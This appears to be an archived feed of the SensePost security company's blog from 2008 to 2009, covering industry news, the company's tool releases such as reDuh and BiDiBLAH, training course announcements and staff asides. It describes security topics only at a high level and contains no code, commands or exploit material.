[Zappos.com] is one of those companies people love to write about. They make headlines for their use of new media and their CEO (Tony Hsieh) is as .com legendary as one gets.. (he sold LinkExchange in 1998 for $265 million and under him zappos went from $1.6 million in sales (2000) to $840 million in sales (2007)).

He recently gave a talk at the [Web 2.0 conference].

He talks about how they invest in the customer experience, free shipping bouquets, and suprise shipping upgrades to get customers products delivered before they expect it.. This is all cool, and im sure people love them for it, but then he goes on to mention their number 1 priority as a company..

Chris Eng 1 – 0 Verizon DBIR Cover

Tue, 28 Apr 2009 08:39:55 +0000

Chris Eng over [at the Veracode blog] documents how he approached, and decoded the info behind the [2009 Verizon Data Breach Investigations Report ]

Its an interesting read, and although in the end it turned out to be just a [Vigenère cipher] and fell to (effectively) a [known plaintext attack], its def. worth the few minutes it will take to read..

Virtualization as an answer to backward compatability?

Sat, 25 Apr 2009 14:58:46 +0000

Part of the problem Microsoft bumped into with Vista, was hordes of people who had grown too attached to XP.. It seems they learnt their lesson (and found a cheap way to maintain backward compatability without having to keep legacy code forever). [XP with SP3 as a virtual-pc virtual machine within Windows 7]

We thought we had problems classifying client side bugs that required user intervention (remote? local?), what happens when a remote in XP-SP3 allows one to execute code in the Windows7 machine through local VM breakout? (indeed a new acronym is needed in anticipation: RAXPLVMB??)

BiDiBLAH Case Study (Part 2)

Wed, 15 Apr 2009 14:52:13 +0000

With our recent release of BiDiBLAH 2.0, we’ve decided to revisit some real world scenarios, and ways BiDiBLAH can deal with it… Herewith, part 2. All the scenarios can be downloaded from the BiDiBLAH home page.

Scenario:

We have a class B network internally. Many of the users run FTP servers on their machines. We do not allow this – but how do I identify these machines?

Solution:

Using BiDiBLAH, define your network as netblocks.

SPUD reminder(s)

Wed, 15 Apr 2009 13:02:01 +0000

After some queries regarding SPUD, I thought it would be a good idea to blog this reminder:

* Spud can only be run as an administrative user.
* Spud cannot be run by directly accessing the .exe. You should run SPUD from the shortcut provided. The reason being: SPUD cannot start from the \bin directory, but only from the \bin parent directory. (default: Program Files\SensePost SPUD). I.e, run “bin\SPUD.exe” from the installation directory as below:

The power of data

Thu, 09 Apr 2009 11:00:52 +0000

We recently introduced some neat blizzards onto a PoC Broadview client.

On tha back of Conficker, our Broadview Dashboard sports a couple of instantly available blizzards that show:

1. How many machines, on all scans for the last 10 days, have patch MS08-067 missing

2. How many machines do not have SMS Agents, EPO Agents or Any AV installed

3. And without too much hassle one can quickly see where machines with MS08-067 missing also do not have EPO Agents, SMS agents or any AV installed. (enlarge image to see why)

Comments have been broked :(

Wed, 08 Apr 2009 12:06:26 +0000

Comments on the blog have been suprisingly quiet and we should have realised this when more and more people started having discussions with us via twitter or email (as opposed to simply saying their piece here).

Short Story:

It was broken, and it should be fixed again. Blame has been assigned and culprits have been whipped appropriately.

Long Story:

Most SensePost’ers interact with the blog through our company-internal blog. This allows us to share top secret information like lolcats without publishing it here. Selected posts are pumped through to public via a plugin inside (which also publishes certain comments / etc).

Sensepost’s HBN Extended Edition course 11-15th May

Tue, 07 Apr 2009 10:03:20 +0000

We have scheduled our next training course, Hacking By Numbers – Extended Edition (Bootcamp) in May 11-15th .

The course runs for a full 5 days.

Overview

The HBN ‘Extended Edition’ is simply an intensive extended version of the regular Bootcamp course. Whilst the content and structure are essentially the same as Bootcamp, the Extended Edition offer students a deeper understanding of the concepts being presented and affords them more time to practice the techniques being taught. Extended Edition is currently offered in Switzerland and South Africa only, or can be arranged on request.

reDuh reVisited…

Tue, 07 Apr 2009 08:58:39 +0000

We’ve had a number of issues with reDuh and the various server versions published. Some clients worked with some versions of the server, and didn’t play nicely with others.

I am happy to say that these have all been resolved now. The single reDuhClient now works with JSP, ASPX and PHP versions of reDuh. Its been tested on a number of different platforms.

Additionally, the new reDuh client supports some enhancements. These are:

Should InfoSec companies be betting on PCI ?

Sun, 05 Apr 2009 16:14:55 +0000

The United States committee on Homeland Security’s Subcommittee on Emerging Threats, Cybersecurity, and Science and Technology recently held a hearing to determine if “the Payment Card Industry Data Standards Reduce Cybercrime?”

Risky Business played snippets of the hearing under the apt title: “Washington spanks PCI DSS” – Like most episodes of RB, its well worth the listen..

One of the “merchants” giving testimony made his point quite succinctly. The credit card companies require us to keep card details, and shift the burden of fraudulent transactions to the merchant. There are much better ways to handle transactions, but the current method is a cheap way for the CC vendors to shift the burden and the risk to the merchants who historically had no alternative.

#include fakeNewsStory.h

Wed, 01 Apr 2009 07:35:46 +0000

what? on April 1st???? Never!

Ranum Reloaded..

Tue, 31 Mar 2009 21:19:10 +0000

A little while back i commented on Marcus Ranums HiTB talk “Cyberwar is Bullshit!“. I ended the post with the words “Ranum is indeed much better than this..“. Ranum spoke recently at Source Boston, and his talk [The Anatomy of Security Disasters] indeed shows this is true..

If you are in the industry to make a quick buck, or because it beats flipping burgers at McD’s, you probably dont need to, but if you are involved with security decisions at any level, then you really should take a few minutes to digest his talk.

Hello World (With an LED)

Mon, 30 Mar 2009 22:51:37 +0000

Way back when i was a sysadmin, i recall reading a quote from one of the ATT greybeards who said something to the effect of “every competent sysadmin should be able to build his own network card”.

Of course most of us have spent tons of time ripping apart electronics and “watching what happens when you connect X and Y”, but unlike the electronic engineers with their oh-so-cool multi-meters ive never actually done any plc programming..

HBN Developer Edition Training

Mon, 30 Mar 2009 14:47:33 +0000

Hi All

We have scheduled our first Developer course for April in Pretoria, should you know of anyone in your area that would like to attend.

– Hacking by Numbers – Developer Edition (28-30th April)

Information about the course:

HBN – Developer Edition

‘Hacking By Numbers – Developer Edition’ is a course aimed at arming web application developers with knowledge of web application attack techniques currently being used in the ‘wild’ and how to combat them. Derived from our internationally acclaimed ‘Hacking By Numbers’ security training, this course focuses heavily on two questions: “What am I up against?” and “How can I protect my applications from attack?” During the course sample applications will be dissected to discover security related bugs hidden within the code. The class will then consider prevention, detection & cure.

!exploitable [Vuln finding freebie from MSFT]

Sun, 22 Mar 2009 16:57:20 +0000

Microsoft released !exploitable at CanSecWest this year. The debugger extension, and the accompanying slide deck can be found [here].

I have not looked at it, but a glance at the slides implies that they aim to solve the problem of too many dumps – not enough time..

Its pretty cool.. and that Microsoft is releasing this is even cooler..

Jack C. Louis: Jan 5, 1977 – March 14, 2009

Sun, 22 Mar 2009 09:36:51 +0000

Truly tragic. We are all poorer for it.. It really was an honor and a privilege to have known him..

Like deja-vu (all over again)

Fri, 20 Mar 2009 19:38:36 +0000

Those of you who were around in 2001 will recall http://anti.security.is (anti-sec f.a.q)..

The sentiment pops up periodically (in different forms) and it seems like CansecWest this year has seen a resurgence of it.. From Charlie Millers comments on the Safari bug:

“Did you consider reporting the vulnerability to Apple?

I never give up free bugs. I have a new campaign. It’s called NO MORE FREE BUGS. Vulnerabilities have a market value so it makes no sense to work hard to find a bug, write an exploit and then give it away. Apple pays people to do the same job so we know there’s value to this work. No more free bugs.”

Hack Like You Mean It – we’re taking PCI to Vegas

Fri, 20 Mar 2009 13:30:50 +0000

We’ve been busying ourselves with the PCI DSS in one way or another for more than a year now here at SensePost. Its been a frustrating exercise of mixed messages, politics, tokenism, mixed in with a healthy dose of mixed feelings about what the standard offers and whether that’s good for anyone at all. Now, finally, we’re accredited to do this that and the other under the standard so we feel its time to start speaking our minds on the subject.

Only an idiot will install a beta os on his primary phone..

Thu, 19 Mar 2009 08:25:24 +0000

and i am that idiot…

Developers signed up with Apples Dev Program get to take iPhoneOS3.0 out for a spin, so that the app store can have ver3 apps when the new OS launches.. A quick download (as quick as it gets in South Africa), a prayer (or 10) during install:

and now i too have a phone that can handle cut n paste! (tho admittedly it feels surprisingly fiddly to me at this point).

CodeGate – 2009

Thu, 12 Mar 2009 07:22:28 +0000

[beistlabs] [CodeGate] has come and gone.. A nice writeup of the event can be found [here] with a pdf of challenges and solutions [here]

Attack Vector based Risk Management?

Wed, 11 Mar 2009 16:29:00 +0000

Interesting post by Michael Dahn at pcianswers.com discussed (again) the difference between compliance and security. Do you know the joke about the difference between a canary? Apparently, its one leg is the same. Well, according to the post, the difference between compliance and security is… there is no spoon. I’m sounding facetious, but the post is actually not bad. Read more…

But actually, there was another part of the post that caught my eye. Its the comments about ‘Attack Vector based Risk Management’ or ‘AVRM’. Not much is said about this except:

Defcon 16 Videos Available..

Mon, 09 Mar 2009 20:13:27 +0000

Ok.. So The Dark Tangent announced this [a few days ago], but i felt it deserved mention because i was genuinely wow’ed at the video quality.. I have only gone through a couple of the presentations, but its the first time ive found demos video’d well enough to follow ferpectly on screen..

Readers can pull the videos from [here]

SensePost’ers can pull from [here]

/mh

PS. When we did our talk (pictured above) i had almost no voice and a flu from hell

BiDiBLAH Case Study (Part 1)

Mon, 09 Mar 2009 12:21:32 +0000

With our recent release of BiDiBLAH 2.0, we’ve decided to revisit some real world scenarios, and ways BiDiBLAH can deal with it… All the scenarios can be downloaded from the BiDiBLAH home page.

Scenario:

If a hacker can mine/collect email addresses from our company he/she can send malware / phishing attacks to these people. But, who are these people? And what other sensitive information are we leaking from a particular domain?

Solution:

MacBook Pro – Battery RIP

Wed, 04 Mar 2009 08:18:12 +0000

About 2 weeks ago the battery performance on my machine took a sudden nose dive. Worse than the fact that it started giving me only about 1 hour, is the fact that its become perfectly unreliable in terms of watching the battery meter. (Once it reaches about 30% it switches off).

Then yesterday i started noticing a wobble on the machine as it sat on my desk.. A quick examination this morning shows that the Battery has warped completely..

VMWare enters the cloud computing foray

Wed, 25 Feb 2009 16:13:42 +0000

BusinessWeek reports that VMWare has launched a new product aimed at establishing it as a competitor in the cloud computing space.

-snip-

Dubbed the Virtual Data Center Operating System (VDC-OS), the software creates a bank of computers, storage devices, and networking equipment that a company can tap at will, as computing needs arise—say, during a December spike in Web traffic for an online retailer.

-snip-

VMWare is the leet, so this should be interesting to watch…it should also be interesting as it is being spearheaded by some ex-Microsoft execs…

Top Ten Web Hacking Techniques of 2008

Tue, 24 Feb 2009 11:33:57 +0000

(aka – Whoot! we are almost famous!!)

Jeremiah Grossman’s panel of judges (Rich Mogull, Chris Hoff, HD Moore and RFP) hath spoken (or spake) and the top 10 web-hacking techniques of 2008 have been published.

Of course we would be lying completely if we said it wasn’t cool to make it into the top 10 (and doubly cool to make it twice in the top 10!)..

Cebit Expo 2009

Mon, 23 Feb 2009 13:20:27 +0000

SensePost have once again been invited to join the South African Department of Trade and Industry at Cebit, as one of 15 SA companies, to exhibit on their pavilion. Visitors to this show range in the region of 500,000 and approximately 5700 exhibitors fill the 27 Halls. Cebit is the biggest information and technology show in Europe and attracts exhibitors and visitors from all over the world. Our stand number is E48 in Hall 5.

BiDiBLAH / SPUD.. Quick feedback

Mon, 23 Feb 2009 08:31:03 +0000

We’ve had some feedback from some BiDiBLAH / SPUD users regarding a few changes… Firstly, SPUD seems to be crashing under a few instances of Vista… We’ve taken note of the issue and will spend some time looking into the issue in the *not too distant* future…

Secondly, on BiDiBLAH, we’ve had a request from a user to have brute force and reverse queries done against the servers listed as NS records for the domains. (This will provide authoritative data). We’ll also look into this request in the next release.

HITB08 – Marcus Ranum Keynote on CyberWar..

Sun, 22 Feb 2009 18:50:43 +0000

I just managed to pull the HackintheBox torrents for their [2008 talks]. (SensePosters can grab a local copy [here]).

I watched Marcus Ranums “Cyberwar is Bullshit” talk. A talk that was truly wince-worthy! While the talk will make you scream at the screen a few times, it is worth watching just to see the Q&A section after the talk.. It’s quite clear that Ranum gets owned more thoroughly than his online gallery did.

FW: HBN Extended Edition 9-13 March

Tue, 17 Feb 2009 14:39:25 +0000

Yes, it is time to offer some technical input by way of our HBN Extended Edition training. There will be no Christmas hat this time round but lots of valued input. We have scheduled our first training course for our new year, Hacking By Numbers – “Extended” Edition – for March 9-13th . The course runs for a full 5 days in Pretoria, South Africa.

The HBN ‘Extended Edition’ is simply an intensive extended version of the regular Bootcamp course. Whilst the content and structure are essentially the same as Bootcamp, the Extended Edition offers students a deeper understanding of the concepts being presented and affords them more time to practice the techniques being taught. Extended Edition is currently only offered in Switzerland and South Africa only, or can be arranged on request.

Joe Grand (Kingpin) gets famouser!

Tue, 17 Feb 2009 12:14:17 +0000

This is probably really old news (to some), but was in the company of sattelite TV this weekend and saw that Joe Grand now has a TV Slot all of his own. “Prototype This” looks like it will be awesome..

I spent the rest of the day trying hard to catch the adverts at just the right time to get a pic of Joe, while excitedly saying “i cant believe joe is on TV” to deels to try to convince her that it was a better alternative than going out..

reDuh.ASPX

Mon, 09 Feb 2009 09:07:29 +0000

An additional issue has been discovered in the ASPX version of reDuh. Although the script did work as expected, it did not set the ScriptTimeout value. This resulted in reDuh terminating active connections once the page timeout had expired.

This has been fixed in the ASPX version. A copy can be grabbed from here. More information regarding reDuh can be found here.

ASPX and reDuh

Mon, 09 Feb 2009 05:02:03 +0000

We’ve received a number of queries regarding folkses unable to get the ASPX version of reDuh to work.

In truth, the client had a faulty HTTP implementation meaning that HTTP requests were malformed. Apache and Tomcat cope admirably with the malformed requests, IIS does not.

So, we’ve built a new client version for reDuh which will play nicely with IIS. Apart from the bugfix, the new version also supports SSL. A direct link to the updated client is here. More information regarding reDuh is here.

Vanilla SQL Injection is oh-so-90’s…wait…is it? (Jackin the K)

Sun, 08 Feb 2009 20:53:20 +0000

aka.. Someone put the hurtski on Kaspersky..

The Twitters (via XSSniper and others) and the Interwebs were ablaze with news on a SQL Injection vulnerability that was exploited on AV vendor Kaspersky’s site. Detail of the attack can be found here.

It’s interesting that SQL Injection (though as old as the proverbial hills) is still such a major issue.
In fact, I have it on good authority that the bulk of PCI-related compromises are still as a result of SQL Injection…

On Hiring Staff – The T-Shirt Method..

Wed, 04 Feb 2009 09:33:01 +0000

Anyone who has honestly reflected on what they know about hiring, will tell you that no matter how locked-down you think you have it, you dont. There is still way too much left to chance and way too much that you just dont know. To avoid this, companies that care about preserving their culture will sometimes adopt a “default deny” approach. It’s ok to miss a potentially good hire rather than to take on a bad one. This isn’t silly geek risk aversion.. It’s because one bad hire can do amazing damage to a culture (an area bad hires can be amazingly productive in).

Turn of the century deja vu?

Sun, 01 Feb 2009 21:05:46 +0000

The recent widespread carnage caused by the Conficker worm is astounding, but is also comforting, in a strange way.

It has been a good few years since the world saw a worm outbreak of this magnitude. Indeed, since the Code Red, Slammer and Blaster days, things have been fairly quiet on the Interwebs front.

As a community, it seems we very quickly forgot the pains caused by these collective strains of evil. Many people proclaimed the end of issues of that particular bent, whether it be as a result of prolific post-worm hastily induced reaction buying of preventative technologies and their relatives, or whether more faith was placed in software vendors preventing easily “wormable” holes in their software.

EDoS is the new DDoS ?

Tue, 27 Jan 2009 16:21:49 +0000

Over at [Rational Survivability] beaker as coined the term EDoS. To describe how “the utility and agility of the cloud computing models such as Amazon AWS (EC2/S3) and the pricing models that go along with them can actually pose a very nasty risk to those who use the cloud to provide service”

Of course, this has kicked off the flurry of responses from “How is this different to soaking up the bandwidth of people who pay per gig” to “OMG! thats the new thing.. Cloud Computing is bad”.

RFP Spotting..

Mon, 26 Jan 2009 21:03:18 +0000

Not the boring pile of papers kind.. the shiny pants and sunglasses kind:

Turns out you can find him blogging these days at [http://research.zscaler.com/]

PS. if you dont know who RFP is, you are too young, and probably think w00w00 is leetspeak for a siren..

QoW: Software Reversing and Exploitation

Thu, 22 Jan 2009 12:20:17 +0000

I’ve developed a FTP like multi-threaded server application as a target for this challenge of the month. It has been coded in c and compiled by VC++ 2008. This is a three step challenge:

Step 1- Find the correct “passphrase” format to logon to the server and get the “Access Granted” message. (You may use a debugger like Ollydbg to do Live RE for this step).

Step 2- Do vulnerability research on the server software. There is at least one exploitable bug but there could be more bugs or error conditions. Try to spot a memory corruption bug and write a denial of service exploit for it.

When missing a good hire works out well..

Wed, 21 Jan 2009 10:04:38 +0000

A few years ago, Mohamed Nanabhay was considering joining SensePost and i was trying hard to convince him it was the way and the light. He had been a KPMG auditor in a past life (but i promised not to hold that against him).

We were not sure what he would do at SP, since he was kinda moving away from hardcore tech, but we always said that we would take quality people, even if we didnt have a niche for them, cause quality people will make a new niche.

So so senseless…

Thu, 15 Jan 2009 20:23:28 +0000

haroon :(

ITWeb Security Summit 2009 – CFP Deadline

Tue, 13 Jan 2009 16:15:02 +0000

I just wanted to remind everyone that the CFP for the 2009 ITWeb Security Summit closes on 26 Jan. We’re hoping to see much more in the way of submissions from local infosec people (especially from corporates) but there’s also still room for international submissions. So far I know of 11 ‘international’ submissions. ITWeb is really good to its international speakers so non- South Africans shouldn’t be put off by the long distances. The conference is at an excellent location, South Africa is beautiful at that time of year, you’ll stay in a swanky hotel (this is the one they used last), the food and beer are cheap and ITWeb will take good care of you. You can check out the conference home page and CFP here.

BiDiBLAH 2.0 Released!

Thu, 08 Jan 2009 14:10:23 +0000

Yup, that’s right, BiDIBLAH 2.0 has finally been released and is available for purchase at an incredibly low US$500!! You can get BiDiBLAH here. Users who would like to try it out first, can download the evaluation copy, which is limited to a 60 minute runtime. Also, check out the FAQ page for some common / technical questions and answers.

./frankieg

SensePost Training @ Black Hat DC

Wed, 07 Jan 2009 15:38:19 +0000

So… Black Hat DC is rushing at us like a speeding big… speeding thing. This is just a friendly a reminder about the show (Hyatt Regency Crystal City • February 16-19). We have two courses on offer at the DC show this year – Bootcamp (a highly practical course that teaches method-based hacker thinking, skills and techniques) and Combat (all hack, no talk – our flagship course).

One small change to our usual approach this time is that we’re requesting Combat students to bring their own laptops. On Bootcamp and our other courses we provide pre-configured XP boxes but Combat participants are generally already quite experienced and comfortable on their own platforms.

“Hooker” approach to break-in!

Tue, 06 Jan 2009 13:13:50 +0000

Interesting post on cost/benefit analysis of hacker and hooker attacks….

behrang

Hacking By Numbers Online – your thoughts?

Tue, 06 Jan 2009 10:47:15 +0000

We often get asked by students of our Hacking By Numbers courses if the course environments or at least the VMWare images are available after the training is over. As a result we’ve started to experiment with a model for offering our courses in an online environment. The idea would be to maintain the full numbers of labs and technical work, maintain the high standard of trainers and materials, but make the training available via the internet to people at various diverse locations. The approach we’ve been testing appears to show some promise, so we’re hoping to ask some of you for your input and opinions.

Headhunter: Employers Hate World Of Warcraft Players

Mon, 05 Jan 2009 15:51:21 +0000

This is an old post, regurgitated because it yielded some spirited discussion.

Apparantly headhunters are being told to avoid World of Warcraft players:

http://www.alleyinsider.com/2008/12/headhunter-employers-hate-world-of-warcraft-players

It’s an interesting twist, because a little while back i also recall hearing an itconversations interview on in-game leadership skills..

My own views on this are mixed.. i find the amount of time spent on gaming to be staggering (at least with gamers ive spoken to) but ive also heard some pretty hard core hax0rs talking about gaming.. hmm….

Dont look now, but it seems they broke the Interwebs again..

Mon, 29 Dec 2008 20:43:44 +0000

Those pesky hackers!

Alex Sotirov (of heap feng shui fame, famous for breaking everything from Vista, to web browsers, to facebook) and Jacob Applebaum (of cold-boot attack fame, and more importantly of “knuth is my homeboy” fame) will be talking in a few hours at the 25c3 conference in Germany and by all accounts its going to be an “Internet Breaker”.

There is a fair bit of speculation on the nature of the bug (though most people some confident that its routing protocol related) and HD Moore has blogged that the pair have sought legal advice pre-publishing.

We going to sue and make Squillions…..

Mon, 29 Dec 2008 07:41:54 +0000

or maybe not…
The twitters informed me that Singe uncovered a case of brand plagiarism!!!1!
-snip-

-snip-

So lets review..

the logo looks shockingly the same
they no doubt, behind closed doors refer to themselves as SP too
just based on their staff numbers, they probably have 16 good looking people there too!

i had the lawyers lined up but decided to dig more info. on them first..

… Scrapy…

Sun, 28 Dec 2008 22:07:02 +0000

(an open source web crawling and screen scraping framework written in Python..)

i promised deels i wld stay off the interwebs for a few days, which means my quick stops are filling up my bookmarks list..

This looks worth checking out.. http://dev.scrapy.org/

/mh

Ted Speaker List up and Free hackin9

Tue, 23 Dec 2008 08:26:48 +0000

(aka 2 completely unrelated topics)

You can grab a free copy of the Hackin9 magazine [here]

And you can view the speakers list for Ted09 [here]…

/mh

Penetration Testing in 2009 – Opposing Viewpoints

Sat, 20 Dec 2008 02:10:37 +0000

The last few weeks have brought some fairly interesting predictions for 2009 to bear in CSO Magazine columns. Two recent articles caught my eye from a penetration testing perspective.

In the first, Brian Chess, CTO of Fortify (they make source code review and software security tools, and he has written a great book on static analysis) predicted that penetration testing as we know it will die in 2009.

The premise of his argument is that penetration testing will die and be reborn in a different form, aiming more at preventing bugs from occurring, rather than identifying them (rolling things into QA / SDLC etc). Granted, it’s a fairly valid point *in some respects*, albeit a biased one if you consider what he does for a living.

More Conn News – PCI Johannesburg

Thu, 18 Dec 2008 11:27:46 +0000

I got contacted the other day (via LinkedIn actually, which is a 1st for me) about a PCI conference some folks are trying to organize here in Johannesburg in January next year. I don’t really know the people (or the conference) but it seems like something that’s sorely needed here and maybe worth making a small investment in.

Here’s where you can get the lowdown – http://www.pci-portal.com/events/event-info/event/pci-johannesburg

ITWeb Security Summit 2009 – CFP Reminder

Thu, 18 Dec 2008 11:19:37 +0000

I wanted to remind folk that the CFP for the ITWeb Security Summit closes on 26 Jan 2009. You can check it out at http://www.itweb.co.za/events/securitysummit/2009/. Local (ZA) should please make themselves heard, but the organizers are also sponsoring travel for international speakers so if you ever wanted to visit the gool ol’ RS of A (that’s in Africa) then here’s your chance….

Wikto 2.1 XMAS edition

Mon, 15 Dec 2008 10:09:54 +0000

The latest version of Wikto (2.1) is available for download here. New features include time anomaly reporting and easier access to findings. A few bugfixes have also been made (thanx to some valuable user feedback).

Happy holidays from the research and dev team.
./frankieg

(v2.1 XMAS image)

Microsoft BlueHat, Videos Posted

Tue, 02 Dec 2008 09:16:01 +0000

Microsoft has posted selected videos of the latest BlueHat talks [here]. It’s pretty cool that they are now releasing these videos to the planet..

You get to see Matt Miller (skape), Scott Charney and even za’s very own Roelof Temmingh.

SensePost’ers can grab copies of the talks [here]

/mh

Linux on iPhone..

Sat, 29 Nov 2008 07:34:23 +0000

While i normally find “Linux ported to run on your [nintendo/toaster/foo] stories only academically interesting, i think the thought of Linux running on 1st Gen, 2nd Gen iPhones (and iPod Touch) a particularly awesome thought.

a) it suddenly means all sorts of possibilities for cute intelligent devices all over the house (with cool sensors – once they can be acessed)

b) it means possibly really cheap, really portable *nix (really pretty) in your pocket

South Africa’s own IT Security “pubcast”

Fri, 28 Nov 2008 22:06:30 +0000

Our good friend Anthony Olivier has launched his “IT Security Pubcast“. So far 2 episodes are online, with episode #2 including our very own, ever quotable Charl van der Walt.

Check it out..

ITWeb Security Summit 2009 – CFP Now Open

Fri, 28 Nov 2008 14:10:42 +0000

A couple of months back SensePost were asked by a prominent South African media company to assist in the selection of content and speakers for an upcoming information security conference called ‘the ITWeb Security Summit‘.

The show runs 26-28 May 2009. The speaker lineup is mostly local (including yours truly) but past speakers have been pretty high-profile – including Dave Litchfield, Johnny Long, Kevin Mitnick, Johnny Cache, Howard Schulz and others.

Wired Article on DNSGate..

Wed, 26 Nov 2008 12:03:21 +0000

Wired magazine has covered the DNSGate saga with full dramatic details like: “never, ever repeat what you just told me over a cell phone“.

Its a quick read, and worth it for the classic line: “The DNS community had kept the secret for months. The computer security community couldn’t keep it 12 days”

HBN Bootcamp – Christmas Edition

Tue, 11 Nov 2008 15:22:35 +0000

As a Christmas special we have scheduled an additional training course, Hacking By Numbers – Extended Edition (Bootcamp) in Pretoria, South Africa on November 24-28th. The course runs for a full 5 days. This course will be offered at a never-to-be-repeated discount price of ZAR 10,999-00 (15% discount on the usual training price). Each trainee will be given a t-shirt and a Christmas hat!

For more on our training please visit http://www.sensepost.com/training.html.

“Unix Terrorist” in trouble over TJX ?

Thu, 06 Nov 2008 10:17:30 +0000

Anyone who was around for Defcon-10 will have an opinion on the infamous Gobbles-Silvio-UnixTerrorist talk in which mail spools where published and everyone was slammed [1]

According to mumble on the Interwebs (and a comment from RiskyBusiness) it appears as if the Stephen Watt who allegedly “modified and provided a “sniffer” program used by the conspirators to monitor and capture the data crossing corporate computer networks” == Unix Terrorist..

It’s not clear the extent of Watts involvment with the breakin, but it does send a cold shiver down the spine of anyone who puts out tools / software..

Preflighting Application Error (0xE800000*) on iPhones

Tue, 04 Nov 2008 20:05:48 +0000

For those writing apps for the iPhone, you have a good chance of bumping into the highly annoying preflighting application error:

Ralf Rottmann of [24100.net] has a [pretty comprehensive post on how to fix this] (the problem resides in xcode not corerctly tagging the applications BundleID)

HITB08 Slides available..

Mon, 03 Nov 2008 16:13:17 +0000

Slides from the latest Hack in the Box conference [are available] [SensePost slides are listed as owing / not there yet]

SensePosters can grab a local copy [here]

You know you are getting old..

Tue, 28 Oct 2008 09:36:39 +0000

When you blog a link to poetry:

[The man watching] is a poem by Rainer Maria Rilke, that i picked up from a talk by Tim Oreilly during his [recent talk] where he chided the audience for focusing on trivial banalities while leaving bigger problems un challenged. A subsequent speaker picked up the theme, and likened it to abandoning NASA to work on DisneyLand.

I think the sentiment is grand, and the poem is inspiring.. and in particular the following lines, are probably going to keep me up nights for a while:

Windows servers are now a (beta) option on Amazon Ec2

Thu, 23 Oct 2008 21:50:58 +0000

EC2 is now out of beta, and supports windows based ANI’s. [Big Day for EC2]

EC2 blows my mind, and from a bazillion miles away, i was truly surprised the Amazon got the jump on Google/MSFT/Apple/* with their offerings..

/mh

PS. how i managed to write on this as opposed to the [Stack based, pre-auth, wormable windows RPC overflow is anyones guess]

PPS. Actually.. in part its because im miffed. I just wrote a diatribe on how the fact that we werent goign to see another code-red / worm scare anytime soon was going to hurt us (ala aitel.owasp08) and this bug shuts me up for a bit – stay tuned for “is the industry still running on code-red?”

OWASP NYC Talks Posted..

Sun, 19 Oct 2008 21:23:48 +0000

The full videos from the OWASP NYC Conf have been posted.

At least one BlackHat re-run, but some look well worth the watching.. Most people can grab the videos and slide decks [here], SensePost’ers (except for those actually currently living in NY) can grab selected talks locally [here]

BiDiBLAH 2.0 BETA

Fri, 10 Oct 2008 10:03:13 +0000

Good news to all the blah’ers out there! The BETA version of BiDiBLAH 2 is available for download here.
As you probably know, [a real quick and easy] registration is required, and version 2 of BiDiBLAH runs on dotnet framework 2.

./frankieg

Vulnerability management and the Blogs

Mon, 06 Oct 2008 12:06:44 +0000

Gegroet

just a quick note on VM.

Google is now offering Google Blog Search Beta and I thought it interesting to see who is blogging on vulnerability management.Some of the output includes:

i) “Vulnerability Management” = 6,330 hits

ii) “Vulnerability Management” + Dummies = 314 hits

iii) “Vulnerability Management” + ineffective = 16 hits

iv) “Vulnerability Management” + effective = 314

Probably 90% of all hits came from vendors and it was also evident that they were punting the “successes” of VM, utilising their products and services.

Sarah Palin, a yahoo email account, and something more shocking…

Thu, 18 Sep 2008 21:10:48 +0000

By now everyone knows that John McCain’s running mate Sarah Palin had her yahoo email account hacked. I guess a presidential candidate using yahoo for govt. related email was about as shocking as Sarah Palins nomination as possible future president ((unless of course you have ever heard of other govt. officials using yahoo/gmail/hotmail for serious business)(inside joke for south africans!)).

People have been talking about secure password resets for a long time [1] and this was pretty shocking all around..

A truly sweet hack!

Fri, 12 Sep 2008 08:49:08 +0000

[Solve mazes with Photoshop (or gimp)]

i must confess that while i understand the logic of flood-fill doing a depth first search and therefor doing the lifting for u, my gimp skills are second only to my MS-Word skills and i have managed to burn about 40 minutes this morning still unable to replicate it (there goes my report writing!)

/mh

Lets hope it does better than netsec.reddit..

Thu, 11 Sep 2008 20:03:54 +0000

Introducing [http://www.reddit.com/r/ReverseEngineering/]

(like its name suggests, a reddit thats all about Code RE..)

HBN Extended Edition 6-10 October

Wed, 10 Sep 2008 17:42:33 +0000

We have scheduled our first training course for our new year, Hacking
By Numbers – “Extended” Edition – for October 6-10th . The course runs
for a full 5 days in Pretoria, South Africa.

The HBN ‘Extended Edition’ is simply an intensive extended version of
the regular Bootcamp course. Whilst the content and structure are
essentially the same as Bootcamp, the Extended Edition offers students
a deeper understanding of the concepts being presented and affords
them more time to practice the techniques being taught. Extended
Edition is currently only offered in Switzerland and South Africa
only, or can be arranged on request.

Enter Google Chrome…

Tue, 02 Sep 2008 11:45:04 +0000

Google have thrown their hat in the browser-ring, which many have predicted. [Chrome] should be coming soon to downloads near u.

It’s based on [webkit], which you might [recall] was impressive in many ways.. It has a few other interesting promises, like a brand new javascript engine [which sounds like an excellent target for future hackery] and a simple but sweet isolation concept [tabs are independent processes].

Like anything released from google, people expect it to change the world (now thats some heavy expectation-anxiety) but if nothing else it will be interesting to watch. Their comic intro is fairly comprehensive, and mixes healthy amounts of “eureka” with “this is still a hard problem“.

Education and Things u know u dont know…

Wed, 27 Aug 2008 19:37:25 +0000

A completely non-security related (but totally geek) blog that always makes me smile is [http://indexed.blogspot.com/]. We had just started the week (or ended the last one) with a conversation on how strange it was, that some people manage to remain suprememly confident while talking authoratively on subjects they know precious little about…

From our mouths, to Jessica’s pen:

Adobe APSB08-15 Patch Reversing

Wed, 27 Aug 2008 10:35:28 +0000

APSB08-15 is the latest adobe security advisory regarding a memory corruption vulnerabilty in Acrobat Reader versions <8.1.2

As expected, the advisory does not include technical details about the attack vector, So let’s try to reverse the related Adobe patch to find more about this vulnerability. I’m going to use IDA 5.2 with patchdiff2 plugin (thanks to kris hint on this plug-in).

The patch is released as a MSI file. I used Greg Duncan’s Less MSIèrables tool to examine the content of this patch:

BlackHat/DefCon 2008 – Tool Release(s)

Mon, 25 Aug 2008 12:56:24 +0000

Hey guys..

Our BlackHat/Defcon talk this year featured a few tools that we promised to release.. The first tool, or set of tools is reDuh which can be found [here]. reDuh is made up of 2 parts, a local proxy and a server component (which is jsp, php or asp). If you run the local proxy on your machine while pointing it to the server component, you are able to make TCP connections clean through the web-server. This comes in surprisingly helpful (and if nothing else is really cute!). You can read more about reDuh (with pretty pictures) by checking out the [reduh page] or by checking out our [Vegas slides].

pwnies video posted online..

Fri, 22 Aug 2008 13:42:28 +0000

The video of the much publicized pwnie awards has been posted to the interwebs [gvideo link]

Locals (SensePosters) can grab a copy [here] I believe it featured HalVar rapping so it should be worth at least a listen to :>

/mh

